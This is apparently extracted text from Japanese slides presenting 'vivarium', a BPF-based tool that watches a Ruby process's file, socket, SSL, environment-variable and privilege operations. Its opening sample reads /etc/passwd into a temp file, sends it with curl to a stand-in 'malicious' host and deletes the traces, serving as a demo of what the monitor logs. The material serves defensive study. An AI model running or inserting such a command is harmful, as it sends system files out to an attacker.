https://github.com/udzura/vivarium
system "cat /etc/passwd > /tmp/___________copy.txt 2>&1 || true" system "curl -d@/tmp/___________copy.txt http://malicious.udzura.jp" + " >/dev/null 2>&1 || true" system "rm -f /tmp/___________copy.txt >/dev/null 2>&1 || true"
こういうログが出るぞ!
/etc/passwd
malicious.udzura.jp
ユーザランド カーネル ┌──────────┐ load ┌─────────────────────┐ │ BPF prog │ ────────> │ verifier → JIT │ └──────────┘ │ │ │ hook: kprobe │ │ hook: LSM │ │ hook: tracepoint │ └─────────────────────┘
BPF LSM + tracepoint でファイル系の操作を捕捉
path_open
file_open
file_symlink
inode_symlink
file_hardlink
inode_link
file_rename
inode_rename
file_chmod
path_chmod
file_getdents
getdents64
proc_exec
execve
proc_fork
sched_process_fork
BPF LSM でソケットレイヤを監視
odd_socket
socket_create
sock_connect
socket_connect
tracepoint で送信系システムコールをフック
dns_req
sendmsg
sendto
sendmmsg
uprobe で OpenSSL の関数を直接フック
ssl_write
SSL_write
uprobe で libc の ENV 操作関数を直接フック
env_caccess
getenv
setenv
unsetenv
putenv
clearenv
ENV
setid_change
setuid
setgid
capable_check
bprm_creds
task_kill
ptrace_check
ptrace
sb_mount
kernel_read_file
require
eval
Vivarium.observe